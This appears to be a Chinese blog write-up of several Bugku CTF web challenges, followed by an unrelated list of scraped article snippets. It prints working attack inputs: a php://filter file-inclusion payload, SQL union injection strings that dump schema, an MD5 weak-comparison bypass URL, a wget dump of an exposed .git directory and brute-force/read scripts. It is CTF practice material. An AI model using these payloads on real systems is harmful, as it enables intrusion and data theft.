bugku 1
Flask_FileUpload 文件上传
先随便传个一句话木马
看看回显

果然不符合规定
而且发现改成图片什么的都不行

查看页面源代码,发现提示
那应该就要用python命令才行
试试ls
类型要改成图片

cat /flag

好像需要密码 bp爆破
根据提示,我们先抓包
爆破
得到密码12328
得到flag
文件包含

点一下
尝试直接访问
看样子要用
php://filter协议
?file=php://filter/read=convert.base64-encode/resource=index.php
解密

成绩查询 sql
很明显是sql注入了

bp抓包
单引号会没有信息,需要加上注释符
判断列数为4
判断回显点

当前数据库

爆表
id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='skctf'),4#

列名
id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),4#


备份是个好习惯 md5
进去有点meng了
怎么就一串数字
因为题目说备份
我先拿dirsearch扫一下
不出所料 ,bak里面有东西
<?php
/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22
*/include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
?>
首先,获取完整的url,并且strstr将url中“?”及其之后的内容赋值给str 其次,substr函数将str中第二个字符(下标为1)及其以后的内容赋值给str 再次,str_replace函数将str中的子字符串替换为'',也就是删除str中的内容为key的子串 然后,parse_str() 函数把查询字符串解析到变量中
MD5值比较相等(PHP弱类型)
在PHP中,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。注意,如果比较一个数字和字符串 或者 比较涉及到数字内容的字符串时,则字符串会被转换成数值并按照数值来进行比较。
举个小例子:
var_dump('asdas',0); 和 var_dump('0asdas',0); 的结果都是true。
所以,本题是要两MD5值的字符格式要么全部是字符,要么前面数字是0。
我们都知道,MD5 加密是对字符串进行加密,那么如果我们传入的不是字符串,而是一个数组呢? 它没法进行加密,返回空,结果不就相等了吗?
众所周知,科学计数法是 *e***** ,那么要使两个数的值相等,就只能是 0e***** ,所以只要找到两个加密之后是 0e 开头的数字,就可以绕过限制了。
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
/?kkeyey1=240610708&kkeyey2=QNKCDZO

game1
随便玩了一下,没想到这么高笑死我了

网络分析一下
把sign里面内容解密一下
可以发现ZM后面部分被base64加密
刚好就是分数
直接打开
把分数改为99999,后面base64也要修稿

cookies
打开奇奇怪怪的
分析一下
解密
结果

试一下index.php
当然也要base64加密
发现这里还有参数line 需要加上
line=2也是如此 这样就可以把源码down下来
18行代码
<?phperror_reporting(0);$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");$line=isset($_GET['line'])?intval($_GET['line']):0;if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");$file_list = array('0' =>'keys.txt','1' =>'index.php',);if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){$file_list[2]='keys.php';}if(in_array($file, $file_list)){$fa = file($file);echo $fa[$line];}?>
后来还看到别人写的脚本
import requestsa=19for i in range(a):url = "http://114.67.175.224:19674/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"s = requests.get(url)print(s.text)
源码提示需要cookie满足margin=margin才能访问,继续指向keys.php
还要加上cookie
查看源代码

source git

源代码 假的fag
还以为要解码 瑞士军刀没解出来
题目提示
dirsearch扫扫看
这里肯定要下载giit了
下面还有falg.txt 不出所料也是假的

wget -r http://114.67.175.224:14733/.git

git reflog
git reflog是显示所有的操作记录,包括提交,回退的操作。一般用来找出操作记录中的版本号,进行回退。 
命令:git show+(文件名)
如:git show d256328
最终也是在40c6d51文件中发现flag
速度要快
查看源代码
bp抓包看看
这里居然有flag
解码
又给了falg

这应该是margin的值
然后每次抓包数字都不一样。。
是要跑脚本了
import requests
import base64#后面涉及到base64解码,所以要导入这个模块
url="http://114.67.175.224:13927"
s=requests.session()#保持会话
source=s.get(url).headers#因为flag在头部所以需要抓取头部
result=base64.b64decode(source['flag'])#对source进行解码,同时将值放在flag列表里面
result=result.decode()
"""
将操作后的result进行转换,b64decode后操作的对象
是byte类型的字符串,而split函数要用str类型的
"""
flag=base64.b64decode(result.split(':')[1])
"""
用split函数进行截取,因为抓包的flag有:所以从它后面进行划分,
[1]代表选取第二部分(从0开始)因为这个函数操作类型必须是str型所以有上一步
"""
data={'margin':flag}#相当于创建一个字典将margin对应flag
print(s.post(url,data).text)#用post方法传入margin,同时输出

你从哪里来
抓包
这里要修改referer
之前一直以为要用x-forwarded-for ,谁道用的是referer
X-Forwarded-For(XFF):用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
格式如下:
X-Forwarded-For: client1, proxy1, proxy2
其中的值通过一个 逗号+空格 把多个IP地址区分开, 最左边(client1)是最原始客户端的IP地址, 代理服务器每成功收到一个请求,就把请求来源IP地址添加到右边。 在上面这个例子中,这个请求成功通过了三台代理服务器:proxy1, proxy2 及 proxy3。请求由client1发出,到达了proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时,XFF是空的,请求被发往proxy1;通过proxy1的时候,client1被添加到XFF中,之后请求被发往proxy2;通过proxy2的时候,proxy1被添加到XFF中,之后请求被发往proxy3;通过proxy3时,proxy2被添加到XFF中,之后请求的的去向不明,如果proxy3不是请求终点,请求会被继续转发。鉴于伪造这一字段非常容易,应该谨慎使用X-Forwarded-For字段。正常情况下XFF中最后一个IP地址是最后一个代理服务器的IP地址, 这通常是一个比较可靠的信息来源。
Referer : 是 HTTP 请求
header的一部分,当浏览器(或者模拟浏览器行为)向web服务器发送请求的时候,头信息里有包含 Referer 。比如我在www.sojson.com里有一个www.baidu.com链接,那么点击这个www.baidu.com,它的header信息里就有:Referer=https://www.sojson.com
由此可以看出来吧。它就是表示一个来源,告诉服务器该网页是从哪个页面链接过来的。
x-forwarded-for 和 referer的区别:我的理解是x-forwarded-for 用来证明ip的像是“127.0.0.1”这种,而referer是用来证明“域名”的
orgin和referer的区别:
origin主要是用来说明最初请求是从哪里发起的;
origin只用于Post请求,而Referer则用于所有类型的请求;
origin的方式比Referer更安全点

相关文章:
bugku 1
Flask_FileUpload 文件上传 先随便传个一句话木马 看看回显 果然不符合规定 而且发现改成图片什么的都不行 查看页面源代码,发现提示 那应该就要用python命令才行 试试ls 类型要改成图片 cat /flag 好像需要密码 bp爆破 根据提示,我们先抓包 爆破 …...
C++ bfs再探迷宫游戏(五十五)【第二篇】
今天我们用bfs解决迷宫游戏。 1.再探迷宫游戏 前面我们已经接触过了迷宫游戏,并且学会了如何使用 DFS 来解决迷宫最短路问题。用 DFS 求解迷宫最短路有一个很大的缺点,需要枚举所有可能的路径,读入的地图一旦很大,可能的搜索方案…...
【Spring原理进阶】SpringMVC调用链+JSP模板应用讲解
🎉🎉欢迎光临🎉🎉 🏅我是苏泽,一位对技术充满热情的探索者和分享者。🚀🚀 🌟特别推荐给大家我的最新专栏《Spring 狂野之旅:底层原理高级进阶》 🚀…...
23种计模式之Python/Go实现
目录 设计模式what?why?设计模式:设计模式也衍生出了很多的新的种类,不局限于这23种创建类设计模式(5种)结构类设计模式(7种)行为类设计模式(11种) 六大设计原则开闭原则里氏替换原…...
Qt可视化大屏布局
科技大屏现在非常流行,这里分享一下某个项目的大屏布局(忘了源码是哪个博主的了) 展示 这个界面整体是垂直布局,分为两个部分,标题是一个部分,然后下面的整体是一个layout布局,为另外一部分。 l…...
re:从0开始的CSS之旅 14. 显示模式的切换
1. 两个属性 display 属性可以用于转换元素的显示模式 可选值: block 转换为块元素 inline 转换为行内元素 inline-block 转换为行内块元素 none 不显示元素,并且不占用元素的位置 visibility 属性用于设置元素是否显示 可选值: visible 显示…...
K8S系列文章之 [Alpine基础环境配置]
用户手册:Alpine User Handbook 官方WIKI:Alpine Linux WIKI 安装 安装的实际逻辑是通过 setup-alpine 脚本去调用其他功能的脚本进行配置,可以通过 vi 查看脚本。如果某个部分安装失败,可退出后单独再次执行。通过镜像文件&a…...
单页404源码
<!doctype html> <html> <head> <meta charset"utf-8"> <title>简约 404错误页</title><link rel"shortcut icon" href"./favicon.png"><style> import url("https://fonts.googleapis.co…...
MySQL-运维
一、日志 1.错误日志 错误日志是MySQL中最重要的日志之一,它记录了当mysql启动和停止时,以及服务器在运行过程中发生任何严重错误时的相关性息。当数据库出现任何故障导致无法正常使用时,建议首先查看此日志。 该日志是默认开启的…...
Waymo数据集下载与使用
在撰写论文时,接触到一个自动驾驶数据集Waymo Dataset 论文链接为:https://arxiv.org/abs/1912.04838v7 项目链接为:https://github.com/waymo-research/waymo-open-dataset 数据集链接为:https://waymo.com/open waymo提供了两种…...
蓝桥杯每日一题----素数筛
素数筛 素数筛的作用是筛选出[2,N]范围内的所有素数,本次主要讲解两种方法,分别是埃氏筛和欧拉筛。证明时会提到唯一分解定理,如果不知道的小伙伴可以先去学一学,那我们开始啦! 1.埃氏筛 主要思想:当找到…...
20240212请问如何将B站下载的软字幕转换成为SRT格式?
20240212请问如何将B站下载的软字幕转换成为SRT格式? 2024/2/12 12:47 百度搜索:字幕 json 转 srt json srt https://blog.csdn.net/a_wh_white/article/details/120687363?share_token2640663e-f468-4737-9b55-73c808f5dcf0 https://blog.csdn.net/a_w…...
《CSS 简易速速上手小册》第6章:高级 CSS 技巧(2024 最新版)
文章目录 6.1 使用 CSS 变量进行设计:魔法配方的调配6.1.1 基础知识6.1.2 重点案例:创建可定制的主题6.1.3 拓展案例 1:响应式字体大小6.1.4 拓展案例 2:使用 CSS 变量创建动态阴影效果 6.2 calc(), min(), max() 等函数的应用&am…...
2024-02-11 多进程、多线程 work
1. 创建一个多进程服务器和多线程服务器 a. 多进程 #include<myhead.h> #define PORT 9999 //端口号 #define IP "192.168.125.113" //IP地址//定义信号处理函数,用于回收僵尸进程 void handler(int signo) {if(signo S…...
详解结构体内存对齐及结构体如何实现位段~
目录 编辑 一:结构体内存对齐 1.1对齐规则 1.2.为什么存在内存对齐 1.3修改默认对齐数 二.结构体实现位段 2.1什么是位段 2.2位段的内存分配 2.3位段的跨平台问题 2.4位段的应用 2.5位段使用的注意事项 三.完结散花 悟已往之不谏,知来者犹可…...
Linux网络编程——tcp套接字
文章目录 主要代码关于构造listen监听accepttelnet测试读取信息掉线重连翻译服务器演示 本章Gitee仓库:tcp套接字 主要代码 客户端: #pragma once#include"Log.hpp"#include<iostream> #include<cstring>#include<sys/wait.h…...
【计算机网络】协议层次及其服务模型
协议栈(protocol stack) 物理层链路层网络层运输层应用层我们自顶向下,所以从应用层开始探究应用层 协议 HTTP 提供了WEB文档的请求和传送SMTP 提供电子邮件报文的传输FTP 提供两个端系统之间的文件传输报文(message)是…...
prometheus之redis_exporter部署
下载解压压缩包 mkdir /opt/redis_exporter/ cd /opt/redis_exporter/ wget http://soft.download/soft/linux/prometheus/redis_exporter/redis_exporter-v1.50.0.linux-amd64.tar.gz tar -zxvf redis_exporter-v1.50.0.linux-amd64.tar.gz ln -s /opt/redis_exporter/redis_…...
js 解构赋值
搬运:JavaScript系列之解构赋值_js解构赋值-CSDN博客...
Vivado用ILA抓波形保存为CSV文件
将ILA观察到的波形数据捕获为CSV文件,抓10次,把文件合并,把源文件删除 运行方法:Vivado的 Tcl console 窗口输入命令 set tcl_dir F:/KLD_FPGA/Code/sim set tcl_filename TCL_ILA_TRIG_V1.2.tcl source $tcl_dir/$tcl_filenam…...
零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?
一、核心优势:专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发,是一款收费低廉但功能全面的Windows NAS工具,主打“无学习成本部署” 。与其他NAS软件相比,其优势在于: 无需硬件改造:将任意W…...
通过Wrangler CLI在worker中创建数据库和表
官方使用文档:Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后,会在本地和远程创建数据库: npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库: 现在,您的Cloudfla…...
为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?
在建筑行业,项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升,传统的管理模式已经难以满足现代工程的需求。过去,许多企业依赖手工记录、口头沟通和分散的信息管理,导致效率低下、成本失控、风险频发。例如&#…...
2024年赣州旅游投资集团社会招聘笔试真
2024年赣州旅游投资集团社会招聘笔试真 题 ( 满 分 1 0 0 分 时 间 1 2 0 分 钟 ) 一、单选题(每题只有一个正确答案,答错、不答或多答均不得分) 1.纪要的特点不包括()。 A.概括重点 B.指导传达 C. 客观纪实 D.有言必录 【答案】: D 2.1864年,()预言了电磁波的存在,并指出…...
NLP学习路线图(二十三):长短期记忆网络(LSTM)
在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...
分布式增量爬虫实现方案
之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面,避免重复抓取,以节省资源和时间。 在分布式环境下,增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路:将增量判…...
dify打造数据可视化图表
一、概述 在日常工作和学习中,我们经常需要和数据打交道。无论是分析报告、项目展示,还是简单的数据洞察,一个清晰直观的图表,往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server,由蚂蚁集团 AntV 团队…...
学校时钟系统,标准考场时钟系统,AI亮相2025高考,赛思时钟系统为教育公平筑起“精准防线”
2025年#高考 将在近日拉开帷幕,#AI 监考一度冲上热搜。当AI深度融入高考,#时间同步 不再是辅助功能,而是决定AI监考系统成败的“生命线”。 AI亮相2025高考,40种异常行为0.5秒精准识别 2025年高考即将拉开帷幕,江西、…...
Redis的发布订阅模式与专业的 MQ(如 Kafka, RabbitMQ)相比,优缺点是什么?适用于哪些场景?
Redis 的发布订阅(Pub/Sub)模式与专业的 MQ(Message Queue)如 Kafka、RabbitMQ 进行比较,核心的权衡点在于:简单与速度 vs. 可靠与功能。 下面我们详细展开对比。 Redis Pub/Sub 的核心特点 它是一个发后…...
让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比
在机器学习的回归分析中,损失函数的选择对模型性能具有决定性影响。均方误差(MSE)作为经典的损失函数,在处理干净数据时表现优异,但在面对包含异常值的噪声数据时,其对大误差的二次惩罚机制往往导致模型参数…...




